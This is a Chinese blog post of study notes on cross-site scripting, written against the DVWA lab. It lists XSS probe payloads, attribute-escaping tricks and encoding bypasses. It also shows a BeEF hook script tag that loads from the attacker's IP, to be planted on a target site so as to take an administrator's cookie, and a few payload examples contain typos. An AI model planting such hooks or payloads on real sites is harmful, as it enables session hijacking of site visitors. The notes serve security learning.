《Web安全攻防 渗透测试实战指南》学习笔记(6) - XSS

如有侵权,请联系删除

前言

xss,跨站脚本攻击。脚本,大家应该知道啥意思了,就是前端的东西。对于大部分网站而言,就是指的是js脚本吧。
所以,xss的利用,就是将一段js代码,插入到原本的js代码中。
然后利用js神奇的特性,就可以获取到访问修改后站点的用户的一些信息,还可以进行一些操作。
对于我这个连脚本小子都不算的人来所,这些将全部由beef来完成。

因为昨天刚刚学习完sql注入漏洞,所以这个思维上多多少少得变换一下:

  1. sql,小学二年级就学过,是数据库相关的一个东西,也就是后台;
  2. xss,三年级学过的,是对前端js代码的一种恶意利用,和后台一点关系没有。
  3. 另外就是,sql漏洞并不需要其他人做什么,自己把漏洞利用好就可以黑进数据库;xss不一样,他是在前端的操作,没法直接获取后台数据,这就需要我们将植入恶意代码的网页让管理员访问,由此获取管理员的cookie,然后登录后台

XSS基础

探针

常见测试语句:
关于单标签加不加/的问题:随便
网上的说法就是html从来没有要求过加这个/

<script>alert(1)</script>
<img src=x onerror=alert(1)>     # 给一个不存在的src,这样就会onerror
<svg onload=alert(1)>
<a href=favascript:alert(1)>

有些时候可能需要对原本js代码进行闭合,比如payload是<img src=x onerror=alert(1)>的话,我们需要闭合原本js,就变成了"><img src=x onerror=alert(1)/>
因为假如前端代码为<input type='text' value=""><img src=x onerror=alert(1)>,这样"闭合了value的引号,>闭合了input>。具体闭合方式可以F12自己查看。

反射型XSS

这种只是将一段js代码插入到一个网站的原始代码中,相当于得到了一个新的网页,将该网页单独发给某个人,网站管理员也好,情敌也罢。
那个人访问了之后,就会触发xss

需要注意两点:

  1. 植入的代码只是放到了前端,所以只能用一次。不持久。
  2. 植入恶意代码后,站点的网址会发生改变。
  3. 想要他人访问,只能单独发给他人。

但是说真的,改变后的网址攻击性非常明显,比如dvwa平台的反射型xss原本的代码是这样的

http://127.0.0.1:8081/vulnerabilities/xss_r/

提交payload之后,payload为上边的探针

http://127.0.0.1:8081/vulnerabilities/xss_r/?name=<script>alert('111')<%2Fscript>#

基本不是盲人都可以看出来这特么有xss吧,于是短网址网站应运而生:百度短网址

储存型XSS

这个和反射型有很大的区别,因为这个会和数据库交互,常出现在留言板。当你提交一段恶意代码,前端js没有进行过滤,直接将你的留言内容(或者标题之类的,反正就是要存到数据库中的)直接存在数据库中,然后通过select语句将你的留言内容传回来,然后打印在前端页面。这个时候,你的恶意代码就会执行。

我们看一下DVWA 存储型XSS源码:

<?php

if( isset( $_POST[ 'btnSign' ] ) ) {
    // Get input
    $message = trim( $_POST[ 'mtxMessage' ] );
    $name    = trim( $_POST[ 'txtName' ] );

    // Sanitize message input
    $message = stripslashes( $message );
    $message = mysql_real_escape_string( $message );

    // Sanitize name input
    $name = mysql_real_escape_string( $name );

    // Update database
    $query  = "INSERT INTO guestbook ( comment, name ) VALUES ( '$message', '$name' );";
    $result = mysql_query( $query ) or die( '<pre>' . mysql_error() . '</pre>' );

    //mysql_close();
}

?>

js的功能就是接收用户输入,传到后台,然后接收后台返回,打印到页面。没什么可看的。
看上边那段php,一共四步:

// Get input
// Sanitize message input
// Sanitize name input
// Update database

前后端没有任何过滤

需要注意一点:

  1. 这个是持久性的,因为代码已经上传至网站数据库
  2. 植入恶意代码后,网址并不会发生改变。因为这并不是生成一个新的网页,是原来的被黑掉了
  3. 只需静静的等待管理员看你的留言就好,不需要单独发给谁

DOM型XSS

这个是一个特殊的反射型XSS,这个原理我也看不太明白,也没用过。
先这样,以后遇到再更。

编码绕过

JS编码
JS提供了4种字符编码的策略:

  1. 三个八进制数字,如果字数不够,在前面补0。比如“e”的编码为“\145”。
  2. 两个十六进制数字,个数不够用0补。比如“e”的编码为“\x65”。
  3. 四个十六进制数字,个数不够用0补。比如“e”的编码为“\u0065”。
  4. 对于一些控制字符,使用特殊C类型的转义风格(例如\n和\r)。

HTML实体编码
命名实体:以&开头,以分号结尾。比如“<”的编码为“&1t”。
字符编码:十进制、十六进制ASCII码或Unicode字符编码,样式为“&#数值;”。比如“<”可以u编码为“<”和“<”。

URL编码
指的是两次URL全编码的结果。比如alert的两次url编码为**********(太长了,我懒得举例)

XSS平台(BeEF)的使用

该操作在kali中进行(kali中没有集成的,百度教程安装一下)

启动beef服务
启动成功:
在这里插入图片描述

注意这三条:
第一条是beef的网址,也就是访问127.0.0.1:3000/ui/panel
第二条是告诉你钩子在哪里
第三条是举例
在这里插入图片描述

去目标网站挂马
把127换成攻击机(kali)ip:172.16.229.128
所以小马通常都是

<script src="http://192.168.0.8:3000/hook,js"></script>

成功
在这里插入图片描述

颜色的不同含义:
管话:
绿色 对目标主机生效且不可见
橙色 对目标主机生效但可能可见
灰色 对目标主机未必生效
红色 对目标主机不生效

人话:
就是说如果是绿色的,那你可以利用,且不会留下痕迹。如果是橙色的就有可能被发现。
至于灰色和红色,基本可以直接放弃了。

  • 0
    点赞
  • 3
    收藏
    觉得还不错? 一键收藏
  • 0
    评论
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值